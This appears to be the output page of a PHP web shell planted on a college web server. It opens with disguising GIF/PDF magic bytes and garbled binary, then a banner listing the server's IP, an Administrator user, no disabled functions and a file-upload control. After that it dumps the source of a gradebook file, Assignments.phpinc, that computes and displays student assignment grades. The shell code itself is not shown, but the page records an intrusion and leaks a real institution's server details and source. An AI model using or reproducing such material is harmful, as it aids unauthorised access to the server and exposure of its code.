GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/Gradebook/ |
Upload File : |
<? // Gradebook/Assignments.phpinc // Display list of assignments and links. debugTrackBegin(); $Assignments_DEBUG = false; #setDebugOff(); d_Off(); #if ( $_SESSION['userId'] == '1' ) setDebugOn(); d_On(); if ( !isset($isGB) ) $isGB = false; d_Var('$_SESSION',$_SESSION); d_Var('$f_classId',$f_classId); include('Gradebook/evaluationInfo.phpinc'); if ( $_SESSION['userId'] == -1 ) { d_Var('$eInfo',$eInfo,'d'); } #if ($debugLine ) printVar('$eInfo',$eInfo); #setDebugOff(); #setDebugOn(); include('Gradebook/evaluationStudentInfo.phpinc'); #if ($debugLine ) printVar('$sInfo',$sInfo); #if ($debugLine ) printVar('$variableCredits',$variableCredits); d_Var('$variableCredits',$variableCredits); #setDebugOff(); if ( listLen($userIdClassRosterList) !=1 ) { $s = 's'; } else { $s = ''; } $sectionTitle = $f_courseNumber.'-'.$classSection.' Assignments for '.$_SESSION['userFullName']; #$centerSection = false; include('common/sectionHeader.phpinc'); if ( !isset($ShowSectionFilterNameInGradeBook) ) $ShowSectionFilterNameInGradeBook = false; #printVar('$ShowSectionFilterNameInGradeBook',$ShowSectionFilterNameInGradeBook); #include('Class/SectionFilter.phpinc'); /** / foreach ( $eInfo as $eId => $evaluationInfo ) { d_Var('$evaluationInfo',$evaluationInfo,'d'); } /**/ ?> <? if ( $isGB ) { ?> <form name="form_gradebook_view" action="<?=str_replace('index.php','',$_SERVER['PHP_SELF']);?>" method="post" style="display:inline;"> <input name="f_uuid" type="hidden" value="<?=uuid()?>" /> <input name="f_form" type="hidden" value="form_gradebook_view" /> <input name="f_classId" type="hidden" value="<?=$f_classId?>" /> <input name="f_courseNumber" type="hidden" value="<?=$f_courseNumber?>" /> <input name="f_courseId" type="hidden" value="<?=$f_courseId?>" /> <input name="f_task" type="hidden" value="Class Evaluations" /> <input name="f_evaluationId_hidden" type="hidden" value="" /> <? } ?> <? // Set parameters for assignments table. $dataCellWidth = 50; $cellPadding = 2; // Do not change. ?> <style type="text/css"> td.dataColumn, th.dataColumn { min-width:<?=$dataCellWidth?>px; width:<?=$dataCellWidth?>px; text-align:center; padding-right:<?=$cellPadding?>px; } a.noClass {color:#000000; } </style> <table> <tr><th colspan="2">Assignment</th><th>Points</th><th>Due</th><th>Grade</th><th>Status</th><th>Comments</th></tr> <? $sId = $_SESSION['userStudentId']; $uId = $_SESSION['userId']; $thisStudentTotalGradedEvaluationPoints = 0; $thisStudentTotalPoints = 0; $criticalEvalCount = 0; $criticalEvalsAllPassed = true; #if ( $_SESSION['userId'] == '1' ) { d_On(); d_Var('$eInfo',$eInfo); d_Var('$sInfo',$sInfo); d_Var('$sId',$sId); d_Var('$uId',$uId); d_Off(); } foreach ( $eInfo as $eId => $evaluationInfo ) { // Loop thru evaluations. if ( $eId >= 0 || $evaluationInfo['points'] > 0 ) { // Does this eval have points? d_Var('$sId',$sId); #d_Var('$eId',$eId,'d'); //$sInfo[$sId]['userId'] if ( !isset($sInfo[$sId]) ) $sInfo[$sId] = array(); if ( !isset($sInfo[$sId]['userId']) ) $sInfo[$sId]['userId'] = $_SESSION['userId']; require('Gradebook/ClassGradebookEvaluationData.phpinc'); $assignmentPoints = $evaluationInfo['points']; if ( is_numeric($grade) ) { $gradePoints = $grade; } else { $gradePoints = 0; } $assignmentClass = ''; if ( $evaluationInfo['extra'] ) $assignmentClass = ' evalEC'; if ( $evaluationInfo['critical'] ) { $assignmentClass = ' evalCr'; $criticalEvalCount++; if ( $gradePoints / $assignmentPoints < .70 ) { $criticalEvalsAllPassed = false; } } // Set link for eval. if ( $assignmentClass == '' ) { $linkClass = 'noClass'; } else { $linkClass = trim($assignmentClass); } #d_Var('$Instructor', $Instructor, 'd'); switch ($eId) { case -2: $linkBegin = '<a class="'.$linkClass.'" href="https://cst.ridgewater.edu/'.$Instructor['Path'].'/'.$courseNumber.'/?StudentProfile">'; $linkEnd = '</a>'; $linkTitle = ' onMouseOver="ttShow(\'Go to your Student Profile.\');" onMouseOut="ttHide();"'; break; case -1: $linkBegin = '<a class="'.$linkClass.'" href="https://cst.ridgewater.edu/'.$Instructor['Path'].'/'.$courseNumber.'/?ClassProfile">'; $linkEnd = '</a>'; $linkTitle = ' onMouseOver="ttShow(\'Go to your Class Profile.\');" onMouseOut="ttHide();"'; break; default: $linkBegin = ''; $linkEnd = ''; $linkTitle = ''; // Check for Labs/Lab## directory. $file = dirname($_SERVER['SCRIPT_FILENAME']).'/Labs/'.$evaluationInfo['title'].'/index.php'; #if ( $_SESSION['userId'] == '1' ) { d_On(); d_Var("file_exists($file)",file_exists($file)); d_Off(); } if ( file_exists($file) ) { $linkBegin = '<a class="'.$linkClass.'" href="https://cst.ridgewater.edu/'.$Instructor['Path'].'/'.$courseNumber.'/Labs/'.$evaluationInfo['title'].'/">'; $linkEnd = '</a>'; $linkTitle = ' onMouseOver="ttShow(\'Go to '.$evaluationInfo['title'].'.\');" onMouseOut="ttHide();"'; } else { // Check for Assignments/Lab## directory. $file = dirname($_SERVER['SCRIPT_FILENAME']).'/Assignments/'.$evaluationInfo['title'].'/index.php'; #if ( $_SESSION['userId'] == '1' ) { d_On(); d_Var("file_exists($file)",file_exists($file)); d_Off(); } if ( file_exists($file) ) { $linkBegin = '<a class="'.$linkClass.'" href="https://cst.ridgewater.edu/'.$Instructor['Path'].'/'.$courseNumber.'/Assignments/'.$evaluationInfo['title'].'/">'; $linkEnd = '</a>'; $linkTitle = ' onMouseOver="ttShow(\'Go to '.$evaluationInfo['title'].'.\');" onMouseOut="ttHide();"'; } else { // Check for Lab##.php file. $file = dirname($_SERVER['SCRIPT_FILENAME']).'/'.$evaluationInfo['title'].'.php'; #if ( $_SESSION['userId'] == '1' ) { d_On(); d_Var("file_exists($file)",file_exists($file)); d_Off(); } if ( file_exists($file) ) { $linkBegin = '<a class="'.$linkClass.'" href="https://cst.ridgewater.edu/'.$Instructor['Path'].'/'.$courseNumber.'/'.$evaluationInfo['title'].'.php">'; $linkEnd = '</a>'; $linkTitle = ' onMouseOver="ttShow(\'Go to '.$evaluationInfo['title'].'.\');" onMouseOut="ttHide();"'; } } } break; } $evaluationName = $evaluationInfo['title']; //$courseNumber = $courseNumber; $comment = GradeCommentCodeReplace($evaluationName,$courseNumber,$assignmentPoints,$gradePoints,$comment); $evaluationInfo['evaluationTitle'] = $evaluationInfo['title']; $evaluationInfo['evaluationDueDate'] = $evaluationInfo['due']; $evaluationInfo['evaluationDescription'] = $evaluationInfo['description']; require('Gradebook/EvaluationDueDate.phpinc'); #d_Var($evaluationInfo['title'].' $grade',$grade,'d/'); if ( (string)$grade != 'ns') { $CSSclass = 'evalDueGraded'; $dueText = ''; } if ( $linkBegin == '' ) { $CSSclass = 'evalDueUnavailable'; $dueText = 'This lab is not available.'; } #d_Var('$dueText',$dueText,'d'); $dueTextOnly = htmlView($dueText); $dueTextOnly = str_replace('overdue.','overdue.<br>',$dueTextOnly); $dueTextOnly = str_replace(' (','.<br>(',$dueTextOnly); ?> <tr> <td class="bold right<?=$assignmentClass?>"<?=$linkTitle?>><?=$linkBegin?><?=$evaluationInfo['title']?><?=$linkEnd?></td><!-- Assignment title --> <td class="nowrap <?=$assignmentClass?>"<?=$linkTitle?>><?=$linkBegin?><?=$evaluationInfo['description']?><?=$linkEnd?></td><!-- Assignment description --> <td class="dataColumn<?=$evalClass?>"><?=$evaluationInfo['points']?></td><!-- Points --> <td class="center"><div class="evalBox <?=$CSSclass?>Background" onMouseOver="ttShow('<?=$dueTextOnly?>');" onMouseOut="ttHide();"></div></td><!-- Due --> <? /** / <td class="center"><div class="evalBox <?=$CSSclass?>Background" aria-label="<?=strip_tags($dueText)?>"></div></td><!-- Due --> /**/ ?> <td class="dataColumn<?=$evalClass?>"><?=$grade?> <? $thisStudentTotalPoints += intval($grade); if ( is_numeric($grade) && !$evaluationInfo['extra'] ) { $thisStudentTotalGradedEvaluationPoints += $evaluationInfo['points']; } ?></td><!-- Grade --> <td class="nowrap<?=$evalClass?>"><?=htmlView($status)?> </td><!-- Status --> <td class="left" style="width:50%;"> <? if ( $evaluationInfo['extra'] ) { ?> <span class="evalEC">This evaluation is for extra credit.</span><? } if ( $evaluationInfo['critical'] ) { ?> <span class="evalCr">This assignment is critical. If it is not passed a grade of F is given for the class.</span><? } $commentText = $comment; if ( $commentText == 'Not graded.' || $commentText == 'Not submitted.' || $commentText == 'Not entered.' ) { $commentText = ''; } if ( trim($commentText) != '' ) { showControl('See grade comments','Hide grade comments'); } ?> </td> </tr><? if ( trim($commentText) != '' ) { // Is there a comment? ?> <tr<?=showTR();?>><td></td><td colspan="6"><? showBody(); echo '<br>'.CRtoBR($commentText).'<br>'; showEnd(); ?></td><!-- Comments --> </tr> <? } // Is there a comment? } // Does this eval have points? } // Loop thru evaluations. #$criticalEvalCount = 1; #$criticalEvalsAllPassed = false; if ( !$criticalEvalCount || ( $criticalEvalCount && $criticalEvalsAllPassed ) ) { $finalGrade = gradeClass(gradeLetterAC(gradePercentage($thisStudentTotalPoints,$evaluationTotalGradedPoints))); $finalText = 'The grade you will recieve for the class with the current points.'; } else { // Did not do or did not pass critical eval. $finalGrade = gradeClass(gradeLetterAC(0,$evaluationTotalGradedPoints)); $finalText = '<span class="evalCr bold">You will fail this class unless you pass '; if ( $criticalEvalCount == 1 ) { $finalText .= 'the'; } else { $finalText .= 'all'; } $finalText .= ' critical evaluation'; if ( $criticalEvalCount > 1 ) { $finalText .= 's'; } $finalText .= '.</span>'; } ?> <tr> <td colspan="2" class="right">Total points:</td> <td class="dataColumn"><?=$evaluationTotalGradedPoints?><? if ( $evaluationTotalPoints != $evaluationTotalGradedPoints ) { ?>/<span class="evalEC"><?=$evaluationTotalPoints?></span> <? } ?></td> <td></td> <td class="dataColumn"><?=$thisStudentTotalPoints?></td> <td colspan="2">Total graded assignment points.</td></tr> <tr><td colspan="2" class="right">In progress grade:</td><td></td><td></td><td class="dataColumn"><?=gradeClass(gradeLetterAC(gradePercentage($thisStudentTotalPoints,$thisStudentTotalGradedEvaluationPoints)))?></td><td colspan="2">The class grade so far based on the graded assignments.</td></tr> <tr><td colspan="2" class="right">Final class grade:</td><td></td><td></td><td class="dataColumn"><?=$finalGrade?></td><td colspan="2"><?=$finalText?></td></tr> <tr> <td class="nowrap">Due key:</td> <td colspan="6"> <span class="nowrap"><div class="evalBox evalDueGradedBackground"></div> = submitted or graded.</span> <span class="nowrap"><div class="evalBox evalOverdueBackground"></div> = overdue.</span> <span class="nowrap"><div class="evalBox evalDueLastWeekBackground"></div> = due last week.</span> <span class="nowrap"><div class="evalBox evalDueTodayBackground"></div> = due today.</span> <span class="nowrap"><div class="evalBox evalDueInFutureBackground"></div> = not due.</span> <span class="nowrap"><div class="evalBox evalDueUnknownBackground"></div> = see schedule.</span> <span class="nowrap"><div class="evalBox evalDueUnavailableBackground"></div> = not available.</span> </td> </tr> </table> <div id="gradingInfo" class="left"> Points needed for each grade: <? $percentages = array(93, 90, 87, 83, 80, 77, 73, 70); $letterGrades = array('A', 'A-', 'B+', 'B', 'B-', 'C+', 'C', 'C-', 'F'); for ( $i = 0; $i < count($percentages); $i++ ) { $percentage = $percentages[$i]; $pointsNeeded = ( (int)( $evaluationTotalGradedPoints * $percentage / 10 + .99 ) ) / 10; echo '<b>'.gradeClass(gradeLetterAF($percentage)).'</b> = '.$pointsNeeded.' '; } echo '<b>'.gradeClass(gradeLetterAF(0)).'</b> < '.$pointsNeeded.' points'; echo '<br>'; ?> </div> <? if ( $isGB ) { ?> </form> <? } ?> <? if ( $_SERVER['REMOTE_ADDR'] == '_173.25.109.5' ) { d_On(); $Assignments_DEBUG = true; } if ($Assignments_DEBUG) { d_Var('$thisStudentTotalGradedEvaluationPoints',$thisStudentTotalGradedEvaluationPoints); d_Var('$thisStudentTotalPoints',$thisStudentTotalPoints); } if ( $_SERVER['REMOTE_ADDR'] == '173.25.109.5' ) d_Off(); #setDebugOff(); d_Off(); #setDebugOn(); d_On(); include('common/sectionFooter.phpinc'); #if ( $_SERVER['REMOTE_ADDR'] == '50.82.158.167' ) setDebugOn(); debugTrackEnd(); ?>